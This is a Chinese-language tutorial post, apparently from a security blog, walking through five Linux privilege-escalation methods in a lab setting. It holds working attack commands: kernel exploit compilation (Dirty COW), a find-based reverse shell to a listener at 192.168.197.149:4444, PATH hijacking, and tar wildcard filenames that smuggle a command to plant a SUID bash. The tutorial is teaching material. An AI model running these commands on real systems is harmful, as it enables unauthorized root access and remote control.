五种实用型linux提权方法!

VSole2021-12-17 14:45:31

一、内核提权

1.常规内核提权

查看linux内核版本:

uname -a

使用searchsploit搜索对应exp,并下载c文件进行编译:

searchsploit ubuntu 4.4.0
searchsploit -m linux/local/45010.c
gcc 45010.c -o 45010 #编译

在meterpreter下将编译好的exp上传到目标tmp目录下,赋予执行权限,可以看到执行后变为root权限:

2.脏牛提权

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞

影响版本:Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)

uname -a  #查看内核版本
cd CVE-2016-5195-master/
make   #编译生成可执行文件
./dcow -s  #执行exp,成功返回root shell

二、suid提权


suid可以让文件调用者暂时获得文件拥有者的权限,suid提权的思路让普通用户运行root用户所拥有的suid文件,从而达到提权的目的。

可用于提权的文件列表:
Nmap
Vim
find
Bash
More
Less
Nano
cp
查找suid文件命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

发现find存在suid:


使用find执行命令whoami发现是root:

find 1.txt -exec whoami \;


使用find执行反弹shell命令(注意加上-p参数,否则反弹回来的可能是低权限用户shell):

find 1.txt -exec bash -i >& /dev/tcp/192.168.197.149/4444 0>&1 -p \;

返回kali查看弹回root shell:

三、sudo提权

普通用户一般无法使用root用户命令,使用sudo命令可以让普通用户拥有root权限,但是一般都需要输入用户的密码。管理员为了运营方便可能会对sudoer文件进行不合理的配置,使普通用户不需要输入密码就可以使用sudo命令,从而导致权限提升的问题产生。

使用sudo需要输入用户密码,例如查看shadow文件:

管理员为了方便,配置/etc/sudoers文件,在文件中加入:

ubuntu ALL=(ALL:ALL) NOPASSWD:ALL

配置完成后,普通用户使用sudo无需输入密码即可执行root命令:

四、环境变量提权

PATH是Linux和类Unix操作系统中的环境变量,它指定可执行程序的所有bin和sbin存储目录。当用户在终端上运行任何命令时,它会向shell发送请求以在PATH变量中搜索可执行文件来响应用户执行的命令。

echo $PATH   #查看环境变量

实验演示:

假设管理员用户在/home/test目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置:

gcc demo.c -o demo   #编译
chomod u+s demo      #赋予suid

执行demo文件即执行cat /etc/shadow命令:

现在有一个攻击者拿到普通用户权限,首先执行如下命令查找具有suid的文件,发现demo:

find / -perm -u=s -type f 2>/dev/null

普通用户执行demo文件:

接下来劫持环境变量进行提权:

cd /tmp
echo "/bin/bash" > cat   #创建名为cat的文件,内容为/bin/bash
cat cat
chmod 777 cat            #赋予777权限
export PATH=/tmp:$PATH     #将tmp目录添加环境变量
echo $PATH

最后执行demo,在执行cat命令时,从环境变量中查找,按查找顺序优先查找/tmp目录,而/tmp目录下的cat内容为/bin/bash,所以执行的命令从cat /etc/shadow就变成了/bin/bash /etc/shadow,从而达到提权的目的。

五、Cronjobs提权

1. 通配符提权

查看定时任务,发现一个以root权限执行的任务test2.sh,查看test2.sh,发现任务的工作为每分钟执行将/home/ubuntu下的所有内容打包为backup.tar.gz并放置在/tmp目录下(通配符*代表目录下的所有文件)。

cat /etc/crontab  #查看定时任务

在/home/ubuntu目录下创建三个文件:

echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test.sh
echo "" > --checkpoint=1    #文件名为--checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh"
#文件名为--checkpoint-action=exec=sh test.sh

当定时任务触发后,使用了通配符*对整个文件夹进行打包,系统真正执行打包时,将目录下的文件一个一个传参给通配符执行打包操作,而在打包–checkpoint=1和–checkpoint-action=exec=sh test.sh时相当于执行如下命令:

tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh

而–checkpoint和–checkpoint-action正好时tar的参数,此处会被当作参数执行而非文件名打包。–checkpoint-action=exec=sh test.sh为执行test.sh文件,test.sh文件内容为复制bash到tmp目录并赋予suid,即可达到提权的目的:


据说相似的命令还有chown、chmod、rsync等。

2.文件重写提权

由于管理员对定时文件权限错误分配而导致普通用户具有写权限,从而达到提权。

普通用户查看定时任务,发现datetest.sh为777权限而且为root用户:


普通用户可在datetest.sh中写入命令,将bash复制到tmp并赋予suid:

"cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> /usr/local/bin/datetest.sh

执行获取root权限:

linux系统linux文件权限
本作品采用《CC 协议》,转载必须注明作者和本文链接
Linux是目前应用最广泛的服务器操作系统,基于Unix,开源免费,由于系统的稳定性和安全性,市场占有率很高,几乎成为程序代码运行的最佳系统环境。linux不仅可以长时间的运行我们编写的程序代码,还可以安装在各种计算机硬件设备中,如手机、路由器等,Android程序最底层就是运行在linux系统上的。
一文吃透 Linux 提权
2021-10-23 07:09:32
特权升级意味着用户获得他们无权获得的特权。通常,当系统存在允许绕过安全性的错误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。结果是,具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执行未经授权的操作。
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息或安装不需要的程序,例如病毒。
本文章盘点了 Linux 运维必备 150 个命令,请配合下面的网站使用。定位你需要使用的命令,然后去这个网站查询详细用法即可。 地址:wangchujiang.com/linux-command/
内网渗透合集(一)
2023-01-28 09:31:07
dmesg | grep Linuxls /boot | grep vmlinuz正在运行的服务ps auxps -eftopcat /etc/service哪些服务具有root权限ps aux | grep rootps -ef | grep root安装了哪些程序,版本,以及正在运行的ls -alh /usr/bin/ls -alh /sbin/dpkg -lrpm -qals -alh /var/cache/apt/archivesOls -alh /var/cache/yum/服务的配置文件cat /etc/syslog.conf?cat /etc/apache2/apache2.confcat /etc/my.confcat /etc/httpd/conf/httpd.confcat /opt/lampp/etc/httpd.confls -aRl /etc/ | awk '$1 ~ /^.*r.*/工作计划crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root网络配置cat /etc/resolv.confcat /etc/sysconfig/networkcat /etc/networksiptables -Lhostnamednsdomainname其他用户主机与系统的通信?
因此做为运维人员,就必须了解一些安全运维准则,同时,要保护自己所负责的业务,首先要站在攻击者的角度思考问题,修补任何潜在的威胁和漏洞。 本文主要分为如下部分展开:
注意在整个过程中,客户不要事先征集到现场或现场的人员操作情况。启动或部署监测设备,针对病毒感染进行全面监测,避免死灰复燃。在此过程中并没有展开分析,随后制作收集所有相关的样本日志等,并寻找感染源头,并制定整改。先找出急用的木马文件,不要于打包一份。
应急响应的基本流程
2022-01-01 08:34:07
注意在整个过程中不要被客户或现场的运维人员误导。操作前需先征得客户许可。
译者:知道创宇404实验室翻译组原文链接:... 摘要 长期以来,Trickbot一直是主要的银行恶意软件家族之一。尽管最近发生了一些干扰事件,但攻击者仍在继续推动恶意软件的发展,并在最近开始将其部分代码移植到Linux...
VSole
网络安全专家